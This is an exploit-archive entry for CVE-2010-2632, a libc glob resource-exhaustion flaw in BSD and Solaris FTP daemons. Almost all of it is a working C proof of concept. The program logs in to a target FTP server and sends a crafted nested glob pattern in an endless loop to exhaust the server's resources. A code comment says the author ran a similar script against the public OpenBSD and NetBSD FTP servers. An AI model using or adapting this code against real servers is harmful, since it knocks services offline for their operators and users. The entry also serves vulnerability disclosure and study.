*bsd libc/glob resource exhaustion (ftpd exploit)

2011-03-04 / 2013-04-10
Risk: High
Local: No
Remote: Yes
CWE: CWE-399

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> /* PoC for multiple vendors ftpd (libc/glob) resource exhaustion [CVE-2010-2632] Affected Software (verified): - OpenBSD 4.7 - NetBSD 5.0.2 - FreeBSD 7.3/8.1 - Oracle Sun Solaris 10 Affected Vendors (not verified): - GNU Libc (glibc) - Apple - Microsoft - HP - more Credit: Maksymilian Arciemowicz Note: With similar script in php writed (this same pattern), we have attacked OpenBSD/NetBSD servers with result: - ftp.openbsd.org: Connection refused and in the end of attack # telnet ftp.openbsd.org 21 Trying 129.128.5.191... Connected to ftp.openbsd.org. Escape character is '^]'. 421- If you are seeing this message you have been blocked from using 421- this ftp server - most likely for mirroring content without paying 421- attention to what you were mirroring or where you should be mirroring 421- it from, or for excessive connection rates. 421- OpenBSD should *NOT* be mirrored from here, you should use 421- a second level mirror as described in http://www.openbsd.org/ftp.html 421 Connection closed by foreign host. # -ftp.netbsd.org: no more access for anonymous => --- On 02.07.2010 20:29 CET, ftp.netbsd.org has return: 530 User ftp access denied, connection limit of 160 reached. --- and in the end, deny for my host. */ int sendftp(int stream,char *what){ if(-1==send(stream,what,strlen(what),0)) printf("Can't send %s\n",what); else printf("send: %s\n",what); bzero(what,sizeof(what)); } void readftp(int stream,int len){ char readline[len]; if(recv(stream,readline,len,0)<1) printf("Can't read from stream\n"); else printf("recv: %s\n",readline); } int sendstat(host,port,login,pass,pattern) char *host,*port,*login,*pass,*pattern; { char buffer[1024]; // send ftp command buffor int sockfd,n,error; struct addrinfo hints; struct addrinfo *res, *res0; memset(&hints, 0, sizeof(hints)); hints.ai_family = PF_UNSPEC; hints.ai_socktype = SOCK_STREAM; error = getaddrinfo(host,port,&hints,&res0); if (error){ errorcon: printf("Can`t connect\n.exit"); exit(1); } if((sockfd=socket(res0->ai_family,res0->ai_socktype, res0->ai_protocol))<0) goto errorcon; if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon; readftp(sockfd,1024); snprintf(buffer,1024,"USER %s\nPASS %s\n\n",login,pass); sendftp(sockfd,buffer); readftp(sockfd,1024); bzero(buffer,1024); snprintf(buffer,1024,"stat %s\n",pattern); sendftp(sockfd,buffer); freeaddrinfo(res0); } int main(int argc,char *argv[]) { char pattern[1024]="{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*cx"; // some servers support only 1024 char *login,*pass; char logindef[]="anonymous",passdef[]="cve_2010_2632@127.0.0.1"; printf("This is exploit for CVE-2010-2632 (libc/glob)\nby Maksymilian Arciemowicz\n\n"); if(argc<3){ printf("Use: ./exploit host port [username] [password]\nhost and port are requied\n"); exit(1); } char *host=argv[1]; char *port=argv[2]; if(4<=argc) login=argv[3]; else login=logindef; if(5<=argc) pass=argv[4]; else pass=passdef; while(1){ printf("----------------------------- next\n"); sendstat(host,port,login,pass,pattern); sleep(3); // some delay to be sure } return 0; // never happen }

References:

http://cxsec.org/video/macosx_ftpd_poc/
http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2010-008.txt.asc
http://cxib.net/stuff/glob-0day.c
http://cxsecurity.com/issue/WLB-2013040082
http://cxsecurity.com/issue/WLB-2013020003


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